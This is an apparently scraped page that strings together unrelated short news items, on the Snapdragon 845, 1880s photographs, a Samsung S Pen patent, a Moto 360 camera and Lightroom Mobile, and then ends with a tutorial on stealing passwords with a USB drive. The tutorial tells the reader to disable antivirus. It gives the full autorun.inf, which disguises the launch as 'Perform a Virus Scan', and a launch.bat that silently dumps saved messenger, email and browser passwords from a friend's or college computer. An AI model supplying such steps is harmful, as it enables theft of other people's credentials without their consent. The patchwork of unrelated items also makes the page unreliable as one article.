Qualcomm details its Snapdragon 845 chip: 30% more efficient, fastest modem, 4K HDR video capture

As promised, the second day of Qualcomm’s Tech Summit seems to be completely dedicated to the newly unveiled Snapdragon 845 processor. There’s a lot of technical info about Qualcomm’s most advanced chipset to date, so we’ll try to simplify it for you.

First off, the Snapdragon 845 is 30% more efficient than the previous top-tier chipset, the Snapdragon 835. Also, thanks to the new graphics processing unit (GPU), the Adreno 630, the chipset offers 30% improved graphics, video rendering, and power reduction compared to the previous generation.

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A Brooklyn chemist's 1800s photos capture New York in motion

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June 26, 1886

Jamie Swan jumps off a short stone wall at Fort Greene Park in Brooklyn.

Image: Wallace G. Levison/The LIFE Picture Collection/Getty Images

Wallace G. Levison was a chemist, inventor, and lecturer who founded the Departments of Mineralogy and Astronomy at the Brooklyn Institute of Arts and Sciences in the latter half of the 19th century.

He was also an avid photographer, using the new technology both as a scientific tool and a recreational activity.

As the dawn of the 20th century approached, newer, more sensitive film emulsions were developed that allowed pictures to be taken with faster and faster shutter speeds. Read more…

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Future S Pen might capture digital signatures and carry a microphone

Back in 2014, a patent application filed by Samsung with the USPTO showed a stylus with a built-in microphone and a speaker. Phone calls could be made through the device. According to the filing, the stylus “functions as a substitute for a wireless headset” allowing the user “to mount the pen to a shirt pocket or the like, and communicate in a phone call using the portable terminal as a base.”

Today, some three years later, a report out of Korea says that Samsung’s S Pen development chief Chae Won-sik has admitted that studies are underway to determine the best way to add a microphone to …

Moto 360 camera: a pricey new Moto Mod with 4K video and immersive 3D audio capture

Motorola just announced a brand new Moto Mod alongside its Moto Z2 Force Edition flagship. The latest member of the snap-on accessory line is a 360 camera, capable of recording video in 4K.

So, how does it differentiate itself from competitors like Samsung’s Gear 360? Well, the fact that it’s a module has many advantages – it can be connected via pins to compatible Moto Z handsets, which enables users to store videos and photos directly on their smartphones. This also allows for a more compact size, since there’s no need for a separate battery or memory …

Incredible hand-tinted postcards capture 1890s Ireland in vivid color

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Image: Library of Congress

These postcards of the sweeping hills, cliffs, and towns of Ireland were created using the Photochrom process, a complex method of imbuing black-and-white photographs with relatively realistic color.

The closely-guarded process was invented in the 1880s by an employee of a Swiss printing company. It entailed coating a tablet of lithographic limestone with a light-sensitive emulsion, then exposing it to sunlight under a photo negative.

After several hours, the emulsion would harden in proportion to the tones of the negative, leaving a fixed lithographic image on the stone. Read more…

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Lightroom Mobile update adds raw HDR capture mode for iOS and Android

Adobe has just announced a new version of its Lightroom Mobile application is now available to all compatible Android and iOS devices. There’s just one new feature called raw HDR capture mode included in the latest update.

The new raw HDR capture mode allows users to achieve a dynamic range on their mobile devices that was previously only possible shooting with a DSLR or mirrorless camera, Adobe claims.

According to the developers, the new feature works by automatically scanning the scene to determine the correct exposure range and then capturing DNG files. These files are then aligned, …

Real-time motion capture system from Disney Research uses as few sensors as possible


runningman Serious motion capture setups often involve dozens of optical markers, inertial sensors or both, making them a pain to set up and tear down, and producing a ton of data. This Disney Research project produces high-quality results from just a handful of sensors by making some smart assumptions about how the body works. Read More

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How to capture passwords using USB Drive

This tutorial is only for educational purpose and do this at your own risk. We don’t provide the links of the tools you can Google them and get an updated version of it.

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Today I will show you how to capture Passwords using an USB Pen Drive.
As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc.

Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passwords from their stored places. Using these tools and an USB pen drive you can create your own root kit to capture passwords from your friend’s/college Computer.

We need the following tools to create our root kit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs:
MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL
Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook
Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook
2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape
Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail,
Yahoo!, G-mail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by
Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as
older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected
Storage, including the Auto Complete passwords of Internet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: Password Fox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default,
PasswordFox displays the passwords stored in your current profile, but you can easily
select to watch the passwords of any other Firefox profile. For each password entry,
the following information is displayed: Record Index, Web Site, User Name,
Password, User Name Field, Password Field, and the Signons file name.

Here is a step by step procedre to create the password toolkit:

NOTE: You must temporarily disable your antivirus before following these steps.

Download all the 5 tools, extract them and copy only the executables(.exe files)
into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe
into your USB Drive.
Create a new Notepad and write the following text into it:
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
Create another Notepad and write the following text onto it:
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your root kit is ready and you are all set to capture the passwords. You can use this
pendrive on your friend’s PC or on your college computer. Just follow these steps

Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
In the pop-up window, select the first option (Perform a Virus Scan).
Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This works on Windows 2000, XP,Vista and 7

NOTE: This procedure will only recover the stored passwords (if any) on the
Computer.This tutorial is only for educational purpose and do this at your own risk